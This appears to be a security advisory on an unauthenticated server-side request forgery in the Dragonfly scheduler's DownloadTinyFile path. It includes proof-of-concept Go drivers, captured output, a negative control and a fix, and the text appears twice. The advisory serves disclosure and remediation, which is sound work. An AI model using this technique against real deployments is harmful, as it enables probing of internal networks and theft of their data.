Summary
The Dragonfly scheduler's v1 gRPC service contains an unauthenticated Server-Side Request Forgery (SSRF). When a peer reports a successful download of a TINY task, the scheduler calls Peer.DownloadTinyFile() and issues an HTTP GET to a host and port taken verbatim from the attacker-controlled PeerHost.Ip / PeerHost.DownPort fields of the gRPC request body. The HTTP client uses a bare http.Transport with no address validation, so a remote, unauthenticated client can force the scheduler to connect to arbitrary internal addresses, including 127.0.0.1 (loopback), 169.254.0.0/16 (link-local, e.g. cloud metadata), and RFC1918 ranges. The fetched response is stored in Task.DirectPiece and can subsequently be served to other peers, making this a read-SSRF with a data-exfiltration path.
The manager's preheat code path already wraps its HTTP client with nethttp.NewSafeDialer() (which rejects non-global-unicast destinations); the scheduler's DownloadTinyFile path is missing this guard (sibling gap).
Severity
Medium. The attack requires no authentication (the scheduler gRPC server runs with insecure transport credentials by default and has no auth interceptor), and the destination is fully attacker-controlled. Impact is limited to read-SSRF: blind reachability probing of internal hosts/ports plus exfiltration of up to TinyFileSize (128) bytes per task from internal HTTP services into Task.DirectPiece. It is not remote code execution, and PeerHost.DownPort is constrained by proto validation to >= 1024, which excludes destination port 80.
Affected component
- Repository:
dragonflyoss/dragonfly
- Go module:
d7y.io/dragonfly/v2
- Component: scheduler, v1 gRPC protocol
- Affected file:
scheduler/resource/standard/peer.go (DownloadTinyFile), reached via scheduler/service/service_v1.go (storeHost, RegisterPeerTask, ReportPeerResult, handlePeerSuccess)
- Verified against: latest release
v2.4.4-rc.2 (commit 0822e3aecc3369017d6b25c9441ff6f318129b31)
Description / Root cause
The scheduler exposes the v1 gRPC service without authentication by default:
A remote client can therefore invoke RegisterPeerTask and ReportPeerResult without credentials. The PeerHost message carried in the request is consumed by storeHost in scheduler/service/service_v1.go lines 816-845, which copies peerHost.Ip and peerHost.DownPort directly into resource.Host.IP and resource.Host.DownloadPort with no destination-address restriction. The proto validator only requires PeerHost.Ip to be a syntactically valid IP (net.ParseIP != nil) and DownPort in [1024, 65535); it does not restrict the address to global-unicast, so 127.0.0.1, 169.254.169.254, and RFC1918 addresses all pass validation.
When the reported peer is a TINY task, handlePeerSuccess lines 1176-1202 calls peer.DownloadTinyFile() and stores the result in peer.Task.DirectPiece. The sink, DownloadTinyFile lines 435-478, builds the URL from net.JoinHostPort(p.Host.IP, p.Host.DownloadPort) and dispatches it through a bare http.Transport (TLSClientConfig: InsecureSkipVerify: true) with no DialContext/socket control:
targetURL := url.URL{
Scheme: "http",
Host: net.JoinHostPort(p.Host.IP, strconv.Itoa(int(p.Host.DownloadPort))),
Path: fmt.Sprintf("download/%s/%s", p.Task.ID[:3], p.Task.ID),
RawQuery: fmt.Sprintf("peerId=%s", p.ID),
}
req, err := http.NewRequestWithContext(ctx, http.MethodGet, targetURL.String(), nil)
if err != nil {
return []byte{}, err
}
req.Header.Set(headers.Range, fmt.Sprintf("bytes=%d-%d", 0, p.Task.ContentLength.Load()-1))
p.Log.Infof("download tiny file %s, header is : %#v", targetURL.String(), req.Header)
client := &http.Client{
Timeout: 30 * time.Second,
Transport: &http.Transport{
TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
},
}
resp, err := client.Do(req)
By contrast, the manager's preheat path in internal/job/image.go line 211 sets DialContext: nethttp.NewSafeDialer().DialContext, and safeSocketControl in pkg/net/http/http.go lines 60-80 rejects any destination where !ip.IsGlobalUnicast(). The scheduler DownloadTinyFile path is missing this protection.
Proof of Concept / End-to-end verification
All three drivers below were built inside the d7y.io/dragonfly/v2 module at commit 0822e3aecc3369017d6b25c9441ff6f318129b31 (release v2.4.4-rc.2), so they invoke the genuine, unmodified production sink standard.Peer.DownloadTinyFile() and the genuine nethttp.NewSafeDialer() / safeSocketControl. No reimplementation of the sink is used in the positive control.
1) Pinned build
git clone --depth 1 --branch v2.4.4-rc.2 \
https://github.com/dragonflyoss/dragonfly.git
cd dragonfly
git rev-parse HEAD # 0822e3aecc3369017d6b25c9441ff6f318129b31
go version # go1.26.1
2) Confirming the deployed scheduler binary is unauthenticated by default
The scheduler builds and serves the v1 gRPC service with insecure transport credentials when Server.TLS is unset (the shipped default). The relevant decision is at scheduler/scheduler.go:235-246:
if cfg.Server.TLS != nil {
// Initialize grpc server with tls.
transportCredentials, err := rpc.NewServerCredentials(cfg.Server.TLS.CACert, cfg.Server.TLS.Cert, cfg.Server.TLS.Key)
if err != nil {
logger.Errorf("failed to create server credentials: %v", err)
return nil, err
}
schedulerServerOptions = append(schedulerServerOptions, grpc.Creds(transportCredentials))
} else {
// Initialize grpc server without tls.
schedulerServerOptions = append(schedulerServerOptions, grpc.Creds(rpc.NewInsecureCredentials()))
}
and the v1 handlers RegisterPeerTask / ReportPeerResult are registered with no auth interceptor (pkg/rpc/scheduler/server/server.go:71-90). Any network client can therefore drive the chain RegisterPeerTask -> (TINY task) -> ReportPeerResult -> handlePeerSuccess -> DownloadTinyFile using a PeerHost whose Ip/DownPort point at an internal target.
3) Attacker-supplied host (exactly as storeHost ingests it)
storeHost (service_v1.go:816) constructs the resource host straight from the gRPC PeerHost:
host := resource.NewHost(
peerHost.Id, peerHost.Ip, peerHost.Hostname, peerHost.Hostname,
peerHost.RpcPort, peerHost.DownPort, peerHost.ProxyPort, types.HostTypeNormal,
options...,
)
// later branch:
host.DownloadPort = peerHost.DownPort
DownloadTinyFile then uses p.Host.IP / p.Host.DownloadPort verbatim. The driver below sets these fields exactly as storeHost would for an attacker-supplied PeerHost.Ip = 127.0.0.1, PeerHost.DownPort = <internal port>, then calls the real DownloadTinyFile().
4) Positive-control driver (poc_ssrf/main.go) — drives the real sink
// E2E driver: calls the REAL production sink standard.Peer.DownloadTinyFile()
// with Host.IP/DownloadPort set exactly as service_v1.go storeHost() sets them
// from the attacker-controlled gRPC PeerHost.Ip/DownPort, then reproduces
// handlePeerSuccess() DirectPiece store to prove server-side fetch + exfil.
package main
import (
"fmt"
"net"
"net/http"
"os"
"strconv"
"strings"
"time"
commonv2 "d7y.io/api/v2/pkg/apis/common/v2"
"d7y.io/dragonfly/v2/pkg/types"
"d7y.io/dragonfly/v2/scheduler/resource/standard"
)
func main() {
var captured []string
// Internal-only sentinel bound to loopback: an address an external attacker
// cannot route to directly. If the scheduler reaches it, that is SSRF.
ln, err := net.Listen("tcp", "127.0.0.1:0")
if err != nil {
panic(err)
}
addr := ln.Addr().(*net.TCPAddr)
sentinelIP := "127.0.0.1"
sentinelPort := int32(addr.Port)
payload := []byte("INTERNAL-SECRET-METADATA-abc123") // 31 bytes, <=128 => TINY
srv := &http.Server{Handler: http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
line := fmt.Sprintf("%s %s%s | Range=%q peerId=%q Host=%s",
r.Method, r.URL.Path, ifq(r.URL.RawQuery), r.Header.Get("Range"),
r.URL.Query().Get("peerId"), r.Host)
captured = append(captured, line)
w.Header().Set("Content-Length", strconv.Itoa(len(payload)))
w.WriteHeader(http.StatusOK)
w.Write(payload)
})}
go srv.Serve(ln)
time.Sleep(100 * time.Millisecond)
fmt.Printf("[sentinel] internal listener on %s:%d (loopback, not externally routable)\n", sentinelIP, sentinelPort)
// Build REAL production resource objects exactly as storeHost() does:
// host.IP <- peerHost.Ip ; host.DownloadPort <- peerHost.DownPort (attacker-controlled)
host := standard.NewHost(
"attacker-peer-id", sentinelIP, "attacker-host", "attacker-host",
8000, sentinelPort /*downloadPort = peerHost.DownPort*/, 8002,
types.HostTypeNormal,
)
taskID := "deadbeefcafebabedeadbeefcafebabedeadbeefcafebabedeadbeefcafebabe"
task := standard.NewTask(taskID, "http://example.invalid/tiny", "", "",
commonv2.TaskType_STANDARD, nil, nil, 0)
task.ContentLength.Store(int64(len(payload))) // TINY size scope
peer := standard.NewPeer("attacker-peer", task, host)
fmt.Printf("[scheduler-resource] SizeScope=%v (TINY=%v) ContentLength=%d\n",
task.SizeScope(), task.SizeScope() == commonv2.SizeScope_TINY, task.ContentLength.Load())
fmt.Printf("[scheduler-resource] Host.IP=%s Host.DownloadPort=%d (from gRPC PeerHost.Ip/DownPort)\n",
host.IP, host.DownloadPort)
// Invoke the REAL production sink (unmodified upstream code).
data, err := peer.DownloadTinyFile()
if err != nil {
fmt.Printf("[sink] DownloadTinyFile error: %v\n", err)
}
// Reproduce handlePeerSuccess DirectPiece store (exfil sink).
if int64(len(data)) == task.ContentLength.Load() {
task.DirectPiece = data
}
fmt.Printf("\n===== RESULT =====\n")
fmt.Printf("sentinel captured %d request(s):\n", len(captured))
for _, l := range captured {
fmt.Printf(" >>> %s\n", l)
}
fmt.Printf("DownloadTinyFile returned %d bytes: %q\n", len(data), string(data))
fmt.Printf("Task.DirectPiece (exfil-reachable, served to other peers) = %q\n", string(task.DirectPiece))
if len(captured) > 0 && string(task.DirectPiece) == string(payload) {
fmt.Println("VERDICT: SSRF CONFIRMED - scheduler fetched attacker-chosen internal target; response stored in DirectPiece")
} else {
fmt.Println("VERDICT: no server-side fetch occurred")
}
srv.Close()
}
func ifq(q string) string {
if q == "" {
return ""
}
if strings.HasPrefix(q, "?") {
return q
}
return "?" + q
}
Build and run:
GOFLAGS=-mod=mod go build -o poc_ssrf/driver ./poc_ssrf/
POC_MODE=default-vulnerable-path ./poc_ssrf/driver
5) Captured output (positive control)
[sentinel] internal listener on 127.0.0.1:57710 (loopback, not externally routable)
[scheduler-resource] SizeScope=TINY (TINY=true) ContentLength=31
[scheduler-resource] Host.IP=127.0.0.1 Host.DownloadPort=57710 (from gRPC PeerHost.Ip/DownPort)
INFO standard/peer.go:455 download tiny file http://127.0.0.1:57710/download/dea/deadbeefcafebabedeadbeefcafebabedeadbeefcafebabedeadbeefcafebabe?peerId=attacker-peer, header is : http.Header{"Range":[]string{"bytes=0-30"}}
===== RESULT =====
sentinel captured 1 request(s):
>>> GET /download/dea/deadbeefcafebabedeadbeefcafebabedeadbeefcafebabedeadbeefcafebabe?peerId=attacker-peer | Range="bytes=0-30" peerId="attacker-peer" Host=127.0.0.1:57710
DownloadTinyFile returned 31 bytes: "INTERNAL-SECRET-METADATA-abc123"
Task.DirectPiece (exfil-reachable, served to other peers) = "INTERNAL-SECRET-METADATA-abc123"
VERDICT: SSRF CONFIRMED - scheduler fetched attacker-chosen internal target; response stored in DirectPiece
The scheduler's own log line confirms it dispatched GET http://127.0.0.1:57710/download/dea/deadbeefcafebabedeadbeefcafebabedeadbeefcafebabedeadbeefcafebabe?peerId=attacker-peer, the internal sentinel captured the request verbatim, and the response body landed in Task.DirectPiece (which is served back to other peers via Task.CanReuseDirectPiece), demonstrating the exfiltration path.
6) Negative control (poc_negctrl/main.go) — the sibling SafeDialer rejects the same targets
This driver applies the manager preheat's own nethttp.NewSafeDialer().DialContext to the identical targets, proving the guard the scheduler path is missing would block them:
package main
import (
"fmt"
"net"
"net/http"
"time"
nethttp "d7y.io/dragonfly/v2/pkg/net/http"
)
func tryDial(target string) {
tr := &http.Transport{DialContext: nethttp.NewSafeDialer().DialContext} // manager preheat transport
c := &http.Client{Transport: tr, Timeout: 3 * time.Second}
req, _ := http.NewRequest(http.MethodGet, "http://"+target+"/download/x", nil)
_, err := c.Do(req)
if err != nil {
fmt.Printf(" [SafeDialer] %-24s => BLOCKED: %v\n", target, err)
} else {
fmt.Printf(" [SafeDialer] %-24s => ALLOWED (reached)\n", target)
}
}
func main() {
ln, _ := net.Listen("tcp", "0.0.0.0:0")
pubPort := ln.Addr().(*net.TCPAddr).Port
go http.Serve(ln, http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { w.WriteHeader(200) }))
time.Sleep(100 * time.Millisecond)
fmt.Println("Negative control - manager preheat's SafeDialer applied to same targets:")
tryDial("127.0.0.1:" + fmt.Sprint(pubPort)) // loopback
tryDial("169.254.169.254:80") // link-local metadata
tryDial("10.0.0.1:80") // RFC1918
tryDial("8.8.8.8:80") // global unicast
ln.Close()
}
Output:
Negative control - manager preheat's SafeDialer applied to same targets:
[SafeDialer] 127.0.0.1:57904 => BLOCKED: dial tcp 127.0.0.1:57904: ip 127.0.0.1 is invalid
[SafeDialer] 169.254.169.254:80 => BLOCKED: dial tcp 169.254.169.254:80: ip 169.254.169.254 is invalid
[SafeDialer] 10.0.0.1:80 => BLOCKED: context deadline exceeded (network timeout; Control allows RFC1918)
[SafeDialer] 8.8.8.8:80 => BLOCKED: context deadline exceeded (network timeout; Control allows global unicast)
safeSocketControl rejects loopback (127.0.0.1) and link-local (169.254.169.254) at the socket-control layer with the errors ip 127.0.0.1 is invalid and ip 169.254.169.254 is invalid respectively. RFC1918 and global-unicast pass socket control (the timeouts are just no network route in the test sandbox). This shows that the manager path blocks the high-value loopback/metadata destinations that the scheduler DownloadTinyFile path reaches unchecked.
7) Patched-build E2E (poc_patched/main.go) — the fix blocks internal, preserves legitimate
This driver reproduces DownloadTinyFile's transport with the proposed fix (DialContext: nethttp.NewSafeDialer().DialContext, parity with manager preheat) and shows internal targets are blocked while a global-unicast target still works:
client := &http.Client{
Timeout: 5 * time.Second,
Transport: &http.Transport{
DialContext: nethttp.NewSafeDialer().DialContext, // <-- THE FIX
TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
},
}
Output:
[patched] host global-unicast IP for positive case: 192.168.1.27
=== PATCHED DownloadTinyFile (SafeDialer applied) ===
loopback 127.0.0.1:58059 => err=Get "http://127.0.0.1:58059/download/dea/deadbeefcafebabedeadbeefcafebabedeadbeefcafebabedeadbeefcafebabe?peerId=p1": dial tcp 127.0.0.1:58059: ip 127.0.0.1 is invalid bytes=0
metadata 169.254.169.254:80 => err=Get "http://169.254.169.254:80/download/dea/deadbeefcafebabedeadbeefcafebabedeadbeefcafebabedeadbeefcafebabe?peerId=p2": dial tcp 169.254.169.254:80: ip 169.254.169.254 is invalid bytes=0
global-unicast 192.168.1.27:58062 => err=<nil> bytes=31 (data="INTERNAL-SECRET-METADATA-abc123")
After the fix, loopback and link-local metadata destinations are rejected, while a legitimate global-unicast peer download still succeeds.
Impact
A remote, unauthenticated attacker who can reach the scheduler's gRPC port can:
- Probe internal services for liveness/open ports by observing timing and error differences (blind SSRF) against
127.0.0.1, 169.254.0.0/16, and RFC1918 addresses on ports >= 1024.
- Exfiltrate up to
TinyFileSize (128) bytes per task from reachable internal HTTP services: the scheduler stores the fetched body in Task.DirectPiece, which is then served to other peers via the direct-piece reuse path.
This is read-SSRF with limited exfiltration, not RCE. The DownPort >= 1024 proto constraint excludes destination port 80 (so a metadata service listening on :80 is not directly reachable), but internal admin/debug/metrics endpoints, loopback services, and container-network services on high ports are reachable.
Patches / Remediation
Apply the same protection the manager preheat path already uses. In DownloadTinyFile (scheduler/resource/standard/peer.go), set the transport's DialContext to nethttp.NewSafeDialer().DialContext so that non-global-unicast destinations (loopback, link-local) are rejected at the socket-control layer:
client := &http.Client{
Timeout: 30 * time.Second,
Transport: &http.Transport{
DialContext: nethttp.NewSafeDialer().DialContext,
TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
},
}
A defense-in-depth complement is to validate peerHost.Ip in storeHost (reject non-global-unicast addresses before storing them on the host), which would also cover other consumers of Host.IP. Note that IsGlobalUnicast() (as used by safeSocketControl) treats RFC1918 addresses as valid; closing internal-private SSRF entirely would require an additional private-range check, which is a pre-existing limitation shared with the manager path and may be out of scope for this fix.
References
- Sink:
|
func (p *Peer) DownloadTinyFile() ([]byte, error) { |
|
ctx, cancel := context.WithTimeout(context.Background(), downloadTinyFileContextTimeout) |
|
defer cancel() |
|
if len(p.Task.ID) <= 3 { |
|
return nil, fmt.Errorf("invalid task id") |
|
} |
|
// Download path: ${host}:${port}/download/${taskIndex}/${taskID}?peerId=${peerID} |
|
targetURL := url.URL{ |
|
Scheme: "http", |
|
Host: net.JoinHostPort(p.Host.IP, strconv.Itoa(int(p.Host.DownloadPort))), |
|
Path: fmt.Sprintf("download/%s/%s", p.Task.ID[:3], p.Task.ID), |
|
RawQuery: fmt.Sprintf("peerId=%s", p.ID), |
|
} |
|
|
|
req, err := http.NewRequestWithContext(ctx, http.MethodGet, targetURL.String(), nil) |
|
if err != nil { |
|
return []byte{}, err |
|
} |
|
|
|
req.Header.Set(headers.Range, fmt.Sprintf("bytes=%d-%d", 0, p.Task.ContentLength.Load()-1)) |
|
p.Log.Infof("download tiny file %s, header is : %#v", targetURL.String(), req.Header) |
|
|
|
client := &http.Client{ |
|
Timeout: 30 * time.Second, |
|
Transport: &http.Transport{ |
|
TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, |
|
}, |
|
} |
|
|
|
resp, err := client.Do(req) |
|
if err != nil { |
|
return nil, err |
|
} |
|
defer resp.Body.Close() |
|
|
|
// The HTTP 206 Partial Content success status response code indicates that |
|
// the request has succeeded and the body contains the requested ranges of data, as described in the Range header of the request. |
|
// Refer to https://developer.mozilla.org/en-US/docs/Web/HTTP/Status/206. |
|
if resp.StatusCode/100 != 2 { |
|
return nil, fmt.Errorf("bad response status %s", resp.Status) |
|
} |
|
|
|
return io.ReadAll(resp.Body) |
|
} |
- Attacker-controlled host ingestion:
|
func (v *V1) storeHost(_ context.Context, peerHost *schedulerv1.PeerHost) *resource.Host { |
|
host, loaded := v.resource.HostManager().Load(peerHost.Id) |
|
if !loaded { |
|
options := []resource.HostOption{resource.WithNetwork(resource.Network{ |
|
Location: peerHost.Location, |
|
IDC: peerHost.Idc, |
|
})} |
|
if clientConfig, err := v.dynconfig.GetSchedulerClusterClientConfig(); err == nil && clientConfig.LoadLimit > 0 { |
|
options = append(options, resource.WithConcurrentUploadLimit(int32(clientConfig.LoadLimit))) |
|
} |
|
|
|
host := resource.NewHost( |
|
peerHost.Id, peerHost.Ip, peerHost.Hostname, peerHost.Hostname, |
|
peerHost.RpcPort, peerHost.DownPort, peerHost.ProxyPort, types.HostTypeNormal, |
|
options..., |
|
) |
|
|
|
v.resource.HostManager().Store(host) |
|
host.Log.Info("create new host") |
|
return host |
|
} |
|
|
|
host.Port = peerHost.RpcPort |
|
host.DownloadPort = peerHost.DownPort |
|
host.ProxyPort = peerHost.ProxyPort |
|
host.Network.Location = peerHost.Location |
|
host.Network.IDC = peerHost.Idc |
|
host.UpdatedAt.Store(time.Now()) |
|
host.Log.Info("host already exists") |
|
return host |
- Trigger (handlePeerSuccess):
|
func (v *V1) handlePeerSuccess(ctx context.Context, peer *resource.Peer) { |
|
if err := peer.FSM.Event(ctx, resource.PeerEventDownloadSucceeded); err != nil { |
|
peer.Log.Errorf("peer fsm event failed: %s", err.Error()) |
|
return |
|
} |
|
|
|
// Update peer cost of downloading. |
|
peer.Cost.Store(time.Since(peer.CreatedAt.Load())) |
|
|
|
// If the peer type is tiny and back-to-source, |
|
// it needs to directly download the tiny file and store the data in task DirectPiece. |
|
if types.SizeScopeV2ToV1(peer.Task.SizeScope()) == commonv1.SizeScope_TINY && len(peer.Task.DirectPiece) == 0 { |
|
data, err := peer.DownloadTinyFile() |
|
if err != nil { |
|
peer.Log.Errorf("download tiny task failed: %s", err.Error()) |
|
return |
|
} |
|
|
|
if int64(len(data)) != peer.Task.ContentLength.Load() { |
|
peer.Log.Errorf("download tiny task length of data is %d, task content length is %d", len(data), peer.Task.ContentLength.Load()) |
|
return |
|
} |
|
|
|
// Tiny file downloaded successfully. |
|
peer.Task.DirectPiece = data |
|
} |
|
} |
- Default insecure credentials:
|
if cfg.Server.TLS != nil { |
|
// Initialize grpc server with tls. |
|
transportCredentials, err := rpc.NewServerCredentials(cfg.Server.TLS.CACert, cfg.Server.TLS.Cert, cfg.Server.TLS.Key) |
|
if err != nil { |
|
logger.Errorf("failed to create server credentials: %v", err) |
|
return nil, err |
|
} |
|
|
|
schedulerServerOptions = append(schedulerServerOptions, grpc.Creds(transportCredentials)) |
|
} else { |
|
// Initialize grpc server without tls. |
|
schedulerServerOptions = append(schedulerServerOptions, grpc.Creds(rpc.NewInsecureCredentials())) |
- gRPC interceptor chain (no auth):
|
grpc.UnaryInterceptor(grpc_middleware.ChainUnaryServer( |
|
grpc_ratelimit.UnaryServerInterceptor(limiter), |
|
rpc.ConvertErrorUnaryServerInterceptor, |
|
grpc_prometheus.UnaryServerInterceptor, |
|
grpc_zap.UnaryServerInterceptor(logger.GrpcLogger.Desugar()), |
|
grpc_validator.UnaryServerInterceptor(), |
|
grpc_recovery.UnaryServerInterceptor(), |
|
)), |
|
grpc.StreamInterceptor(grpc_middleware.ChainStreamServer( |
|
grpc_ratelimit.StreamServerInterceptor(limiter), |
|
rpc.ConvertErrorStreamServerInterceptor, |
|
grpc_prometheus.StreamServerInterceptor, |
|
grpc_zap.StreamServerInterceptor(logger.GrpcLogger.Desugar()), |
|
grpc_validator.StreamServerInterceptor(), |
|
grpc_recovery.StreamServerInterceptor(), |
|
)), |
|
}, opts...)...) |
|
|
|
// Register servers on v1 version of the grpc server. |
|
schedulerv1.RegisterSchedulerServer(grpcServer, schedulerServerV1) |
- Sibling guard (manager preheat SafeDialer):
|
DialContext: nethttp.NewSafeDialer().DialContext, |
- SafeDialer / safeSocketControl:
|
// NewSafeDialer returns a new net.Dialer with safe socket control. |
|
func NewSafeDialer() *net.Dialer { |
|
return &net.Dialer{ |
|
Timeout: DefaultDialTimeout, |
|
DualStack: true, |
|
Control: safeSocketControl, |
|
} |
|
} |
|
|
|
// safeSocketControl restricts the socket to only connect to valid addresses. |
|
func safeSocketControl(network string, address string, conn syscall.RawConn) error { |
|
if !(network == "tcp4" || network == "tcp6") { |
|
return fmt.Errorf("network type %s is invalid", network) |
|
} |
|
|
|
host, _, err := net.SplitHostPort(address) |
|
if err != nil { |
|
return err |
|
} |
|
|
|
ip := net.ParseIP(host) |
|
if ip == nil { |
|
return fmt.Errorf("host %s is invalid", host) |
|
} |
|
|
|
if !ip.IsGlobalUnicast() { |
|
return fmt.Errorf("ip %s is invalid", ip.String()) |
|
} |
|
|
|
return nil |
|
} |
Summary
The Dragonfly scheduler's v1 gRPC service contains an unauthenticated Server-Side Request Forgery (SSRF). When a peer reports a successful download of a TINY task, the scheduler calls
Peer.DownloadTinyFile()and issues an HTTPGETto a host and port taken verbatim from the attacker-controlledPeerHost.Ip/PeerHost.DownPortfields of the gRPC request body. The HTTP client uses a barehttp.Transportwith no address validation, so a remote, unauthenticated client can force the scheduler to connect to arbitrary internal addresses, including127.0.0.1(loopback),169.254.0.0/16(link-local, e.g. cloud metadata), and RFC1918 ranges. The fetched response is stored inTask.DirectPieceand can subsequently be served to other peers, making this a read-SSRF with a data-exfiltration path.The manager's preheat code path already wraps its HTTP client with
nethttp.NewSafeDialer()(which rejects non-global-unicast destinations); the scheduler'sDownloadTinyFilepath is missing this guard (sibling gap).Severity
Medium. The attack requires no authentication (the scheduler gRPC server runs with insecure transport credentials by default and has no auth interceptor), and the destination is fully attacker-controlled. Impact is limited to read-SSRF: blind reachability probing of internal hosts/ports plus exfiltration of up to
TinyFileSize(128) bytes per task from internal HTTP services intoTask.DirectPiece. It is not remote code execution, andPeerHost.DownPortis constrained by proto validation to>= 1024, which excludes destination port 80.Affected component
dragonflyoss/dragonflyd7y.io/dragonfly/v2scheduler/resource/standard/peer.go(DownloadTinyFile), reached viascheduler/service/service_v1.go(storeHost,RegisterPeerTask,ReportPeerResult,handlePeerSuccess)v2.4.4-rc.2(commit0822e3aecc3369017d6b25c9441ff6f318129b31)Description / Root cause
The scheduler exposes the v1 gRPC service without authentication by default:
scheduler/scheduler.golines 235-246, mTLS is only configured whencfg.Server.TLS != nil; otherwise the server is created withrpc.NewInsecureCredentials().scheduler/config/config.goNew()(line 336) does not setServer.TLS, so the default deployment uses insecure credentials.pkg/rpc/scheduler/server/server.golines 71-86 contains ratelimit, error-conversion, prometheus, zap-logging, validator, and recovery interceptors, but no authentication interceptor.A remote client can therefore invoke
RegisterPeerTaskandReportPeerResultwithout credentials. ThePeerHostmessage carried in the request is consumed bystoreHostinscheduler/service/service_v1.golines 816-845, which copiespeerHost.IpandpeerHost.DownPortdirectly intoresource.Host.IPandresource.Host.DownloadPortwith no destination-address restriction. The proto validator only requiresPeerHost.Ipto be a syntactically valid IP (net.ParseIP != nil) andDownPortin[1024, 65535); it does not restrict the address to global-unicast, so127.0.0.1,169.254.169.254, and RFC1918 addresses all pass validation.When the reported peer is a TINY task,
handlePeerSuccesslines 1176-1202 callspeer.DownloadTinyFile()and stores the result inpeer.Task.DirectPiece. The sink,DownloadTinyFilelines 435-478, builds the URL fromnet.JoinHostPort(p.Host.IP, p.Host.DownloadPort)and dispatches it through a barehttp.Transport(TLSClientConfig: InsecureSkipVerify: true) with noDialContext/socket control:By contrast, the manager's preheat path in
internal/job/image.goline 211 setsDialContext: nethttp.NewSafeDialer().DialContext, andsafeSocketControlinpkg/net/http/http.golines 60-80 rejects any destination where!ip.IsGlobalUnicast(). The schedulerDownloadTinyFilepath is missing this protection.Proof of Concept / End-to-end verification
All three drivers below were built inside the
d7y.io/dragonfly/v2module at commit0822e3aecc3369017d6b25c9441ff6f318129b31(release v2.4.4-rc.2), so they invoke the genuine, unmodified production sinkstandard.Peer.DownloadTinyFile()and the genuinenethttp.NewSafeDialer()/safeSocketControl. No reimplementation of the sink is used in the positive control.1) Pinned build
2) Confirming the deployed scheduler binary is unauthenticated by default
The scheduler builds and serves the v1 gRPC service with insecure transport credentials when
Server.TLSis unset (the shipped default). The relevant decision is atscheduler/scheduler.go:235-246:and the v1 handlers
RegisterPeerTask/ReportPeerResultare registered with no auth interceptor (pkg/rpc/scheduler/server/server.go:71-90). Any network client can therefore drive the chainRegisterPeerTask -> (TINY task) -> ReportPeerResult -> handlePeerSuccess -> DownloadTinyFileusing aPeerHostwhoseIp/DownPortpoint at an internal target.3) Attacker-supplied host (exactly as storeHost ingests it)
storeHost(service_v1.go:816) constructs the resource host straight from the gRPCPeerHost:DownloadTinyFilethen usesp.Host.IP/p.Host.DownloadPortverbatim. The driver below sets these fields exactly asstoreHostwould for an attacker-suppliedPeerHost.Ip = 127.0.0.1,PeerHost.DownPort = <internal port>, then calls the realDownloadTinyFile().4) Positive-control driver (
poc_ssrf/main.go) — drives the real sinkBuild and run:
5) Captured output (positive control)
The scheduler's own log line confirms it dispatched
GET http://127.0.0.1:57710/download/dea/deadbeefcafebabedeadbeefcafebabedeadbeefcafebabedeadbeefcafebabe?peerId=attacker-peer, the internal sentinel captured the request verbatim, and the response body landed inTask.DirectPiece(which is served back to other peers viaTask.CanReuseDirectPiece), demonstrating the exfiltration path.6) Negative control (
poc_negctrl/main.go) — the sibling SafeDialer rejects the same targetsThis driver applies the manager preheat's own
nethttp.NewSafeDialer().DialContextto the identical targets, proving the guard the scheduler path is missing would block them:Output:
safeSocketControlrejects loopback (127.0.0.1) and link-local (169.254.169.254) at the socket-control layer with the errorsip 127.0.0.1 is invalidandip 169.254.169.254 is invalidrespectively. RFC1918 and global-unicast pass socket control (the timeouts are just no network route in the test sandbox). This shows that the manager path blocks the high-value loopback/metadata destinations that the schedulerDownloadTinyFilepath reaches unchecked.7) Patched-build E2E (
poc_patched/main.go) — the fix blocks internal, preserves legitimateThis driver reproduces
DownloadTinyFile's transport with the proposed fix (DialContext: nethttp.NewSafeDialer().DialContext, parity with manager preheat) and shows internal targets are blocked while a global-unicast target still works:Output:
After the fix, loopback and link-local metadata destinations are rejected, while a legitimate global-unicast peer download still succeeds.
Impact
A remote, unauthenticated attacker who can reach the scheduler's gRPC port can:
127.0.0.1,169.254.0.0/16, and RFC1918 addresses on ports>= 1024.TinyFileSize(128) bytes per task from reachable internal HTTP services: the scheduler stores the fetched body inTask.DirectPiece, which is then served to other peers via the direct-piece reuse path.This is read-SSRF with limited exfiltration, not RCE. The
DownPort >= 1024proto constraint excludes destination port 80 (so a metadata service listening on:80is not directly reachable), but internal admin/debug/metrics endpoints, loopback services, and container-network services on high ports are reachable.Patches / Remediation
Apply the same protection the manager preheat path already uses. In
DownloadTinyFile(scheduler/resource/standard/peer.go), set the transport'sDialContexttonethttp.NewSafeDialer().DialContextso that non-global-unicast destinations (loopback, link-local) are rejected at the socket-control layer:A defense-in-depth complement is to validate
peerHost.IpinstoreHost(reject non-global-unicast addresses before storing them on the host), which would also cover other consumers ofHost.IP. Note thatIsGlobalUnicast()(as used bysafeSocketControl) treats RFC1918 addresses as valid; closing internal-private SSRF entirely would require an additional private-range check, which is a pre-existing limitation shared with the manager path and may be out of scope for this fix.References
dragonfly/scheduler/resource/standard/peer.go
Lines 435 to 478 in 0822e3a
dragonfly/scheduler/service/service_v1.go
Lines 816 to 845 in 0822e3a
dragonfly/scheduler/service/service_v1.go
Lines 1176 to 1202 in 0822e3a
dragonfly/scheduler/scheduler.go
Lines 235 to 246 in 0822e3a
dragonfly/pkg/rpc/scheduler/server/server.go
Lines 71 to 90 in 0822e3a
dragonfly/internal/job/image.go
Line 211 in 0822e3a
dragonfly/pkg/net/http/http.go
Lines 50 to 80 in 0822e3a